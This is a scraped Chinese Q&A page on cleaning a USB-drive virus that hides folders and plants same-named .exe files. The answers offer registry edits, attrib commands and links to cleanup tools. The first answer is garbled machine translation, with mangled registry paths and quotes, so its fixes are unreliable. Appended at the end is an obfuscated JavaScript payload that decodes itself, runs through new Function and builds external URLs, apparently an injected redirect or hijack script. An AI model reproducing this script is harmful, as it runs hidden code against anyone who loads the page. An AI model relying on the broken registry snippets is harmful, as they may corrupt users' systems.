u盘中毒所有文件都打不开求帮助谢

2025-03-03 19:01:12
推荐回答(4个)
回答1:

U盘文件是隐藏文件夹到。EXE文件修复工具{转}

1

最近的U盘一个可怕的病毒一旦中毒,它会迅速传遍计算机,显示所有隐藏的文件夹,然后复制同名的病毒文件! 。EXE文件到文件夹中,以帮朋友解决这个问题,回到公司,想了很多办法,终于找到解决这个问题,现在做了一个杀人的工具,也提供给大家下载运行它。
防御措施建议大家做好!一点经验分享给大家!

解决方案
- 软件包下载wsyscheck,开放wsyscheck.exe,流程管理 - 结束进程EXPL0RER.EXE病毒和删除。

1.SREng修复文件关联,系统修复 - 文件关联 - 选择 - 修复

2,修复磁盘打开文件夹打开方式
BR>
【引用】
Windows注册表编辑器5.00版

[HKEY_LOCAL_MACHINE \ SOFTWARE \类\驱动\壳]
@ =“无”

[-HKEY_LOCAL_MACHINE \ SOFTWARE \类\驱动\壳\探索]

[-HKEY_LOCAL_MACHINE \ SOFTWARE \类\驱动\壳\开放]

[ HKEY_LOCAL_MACHINE \ SOFTWARE \类\目录\壳]
@ =“none”的

[-HKEY_LOCAL_MACHINE \ SOFTWARE \类\目录\壳\探索]

[-HKEY_LOCAL_MACHINE \ SOFTWARE \类\目录\壳\开放]
了[/ quote]

3,显示系统文件,隐藏文件,显示隐藏文件夹
BR>
【引用】
Windows注册表编辑器5.00版

[HKEY_CURRENT_USER \ SOFTWARE \ MICROSOFT \ WINDOWS \ CURRENTVERSION \浏览器\高级]
“隐藏”= DWORD:00000001
“HideFileExt”= DWORD:00000000
“ShowSuperHidden”= DWORD:00000001

[HKEY_LOCAL_MACHINE \ SOFTWARE \ MICROSOFT \ WINDOWS \ CURRENTVERSION \浏览器\高级\文件夹\隐藏\ NOHIDDEN]
“RegPath”=“软件\\微软的Windows \\ \\ CURRENTVERSION \\浏览器\\高级”
“的CheckedValue”= DWORD:00000002
“ValueName的”=“隐藏”
“默认值“= DWORD:00000002

[HKEY_LOCAL_MACHINE \ SOFTWARE \ MICROSOFT \ WINDOWS \ CURRENTVERSION \浏览器\高级\文件夹\隐藏\ SHOWALL]
”RegPath“=”SOFTWARE \ \微软的Windows \\ \\ CURRENTVERSION \\浏览器\\高级“
”的CheckedValue“= DWORD:00000001
”ValueName的“=”隐藏“
”默认值“= DWORD:00000002
了[/ quote]

整体防病毒软件使用第三方工具来删除所有分区的文件夹下隐藏的,主要是去除系统属性扫描



相关资源:

注册表修复(只是Worm.Win32.AutoRun.bqn,与SRENG修复文件关联,使用前)目录下载连结http:/ /www.fs2you.com/zh-cn/files/c6aa153d-c111-11dc-a330-0014221f3995

文件名:属性。RAR下载链接,照片:HTTP:经过//www.fs2you.com/files/be41209c-c112-11dc-a1d3-0014221f4662

最终解压缩这个文件下载,拷贝到ü运行要在其固定的根目录下:
http://www.udchina.com/attachments/month_0803/6200833103755.rar

2
U盘的文件是隐藏文件夹到。EXE文件修复工具!

最近,很多朋友U盘中毒,主要是没有理由的文件夹中的后缀。EXE,隐藏文件无法找到,打印机无法正常工作。现在提供了一个修复工具。
http://blog.jdxy.org/attachments/2007/06/20/usbkill.rar希望能帮助朋友。
3.USBkiller或USBcleaner
4,U盘中毒,所有文件夹中的文件都变成了
溶液中的EXE后缀如下:
1,打开任务管理器,将所谓的XP ****的过程结束(该过程开始与XP,后面的数字不确定)
2的文件夹选项设置为“显示隐藏的文件夹”,并取消“隐藏受保护的系统文件(推荐) “,然后点击”应用“和”确定“显示
3中的所有文件到U盘,将。EXE文件删除,隐藏的文件夹变得不掩饰
4进入”开始“的节目里事情开始清空(删除)
5输入C:\ Windows \ System32下找到一个名为XP的隐藏文件夹****(这个文件夹是XP的,后面的数字不确定性的开始),并删除
6 。看看其他板块,有如果有其他四个隐藏的文件尽量不要动,除非你确定它是病毒 - 7重新启动
祝你成功5手动删除恶意隐藏的文件没有exe档案请参见(索拉病毒)方法:索拉病毒主要是传播病毒的U盘,一旦感染,就会把属性文件的U盘上的文件夹变成只读和隐藏,同时生成一个文件名和相同的可执行文件( exe)档案,文件大小为1.19M,一般的杀毒软件无法清除,下载专杀不能做任何事情来隐藏恶意文件。最后不得不尝试手动清除,如下所示:U盘上
1有用的东西先复制硬盘,拔掉U盘。
2。重新启动计算机,请使用系统还原将计算机恢复到感染前的日期。
3,用Windows优化大师的注册表和磁盘清理功能进行全面清理的文件(注意备份)。
4然后重新启动电脑,使用Windows优化大师系统优化关闭所有磁盘光盘,U盘等自动。
5插U盘在我的电脑直接格式化U盘(必须直接格式化,否则会前功尽弃,一旦打开U盘)。
6格式化完成就OK了。 6昨天下课后,老师去拷课件,没想到完成副本后,我找到了后缀名的U盘文件已成为exe文件,我马上意识到,我的盘中毒,因为这样的事情对我来说是第一次出现时,感觉更加紧张,并立即用瑞星杀病毒的,所以我知道是你杀了之后,毒,文件的U盘上留下一点,但占用空间并没有改变,我想可能是被隐藏的文件,所以我把文件显示了通过工具文件夹选项,而是隐藏在灰色的文件属性,不能总是用这种方式来显示隐藏文件,对了,怎么解决这个问题?我发现了以下解决方案:1,使用U盘病毒查杀工具,如U盘病毒专杀工具USBCLeaner它可以被病毒隐藏的文件属性进行,并能杀U盘病毒。 USBCleaner是一种纯绿色的辅助杀毒工具,已检测到U盘病毒,U盘病毒广谱扫描,U盘病毒免疫,修复显示隐藏文件和系统文件,安全卸载功能查杀70余种,如移动硬盘,维修灭掉U盘病毒的同时USBCleaner迅速向新兴U盘病毒处理.USBCleaner充分融合是你学习,工作,娱乐的好帮手。 2,先用杀毒软件杀病毒。在“开始 - 运行”,在其中键入cmd,打开系统的命令提示符下,进入里面的信,到需要的USB,相关设置如下:C:\ Documents和Settings \管理员>记者://进入盘(USB)的目录
j:\> DIR / A //这个指令是查看当前目录下的所有文件,包括隐藏属性
:。 \>名-r -h -s ATTRIB文件夹/ S / D可显示“文件夹名称”是在文件夹名的当前USB隐藏文件,没有扩展名,如果有多个文件夹恢复到显示状态的情况下,在命令提示符下可以小它向上和向下箭头键的键盘选择
j:\> ATTRIB文件夹名称-r -h -s / S / D来就行了文件夹的名称如果没有一个文件夹,但其他程序可以输入以下命令:
:。 \> ATTRIB * -r -h -s / S / D页3,打开“记事本”,复制下面的内容:
Windows注册表编辑器版本5.00 [HKEY_LOCAL_MACHINE \ SOFTWARE \ MICROSOFT \ WINDOWS \ CURRENTVERSION \ Explorer中\高级\文件夹\隐藏\ SHOWALL]“为CheckedValue”= DWORD:00000001
保存的文件名:“显示隐藏的文件。REG”,(确保“文件夹选项”,去掉“隐藏扩展名已知文件类型”),双单击鼠标右键来运行这个文件,然后重新为“设置文件夹选项”显示隐藏的文件。 4,复制以下代码行到记事本,保存文件取消隐藏蝙蝠,然后双击运行它。 FOR / F“delims =”%%i的('DIR /啊/ S / B')做ATTRIB“%%i”的-s -h解释命令的含义:FOR / F“delims =”%%í流通中的文件参数DIR /秒,显示当前目录及其所有子目录的文件参数/啊有隐藏属性/ B与显示的短文件名执行ATTRIB“%%i”的-s -h消除系统属性,这个文件/文件夹的隐藏属性5,6隐藏属性通过注册表,将显示隐藏的文件夹,然后复制文件夹,重新修建成一个文件夹通过工具文件夹选项中的内容,然后将原来的文件夹删除,OK,首先要ú磁盘毒了,呵呵。

回答2:

直接格掉

回答3:

必须格掉

回答4:

不清楚,我不搞这方面

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();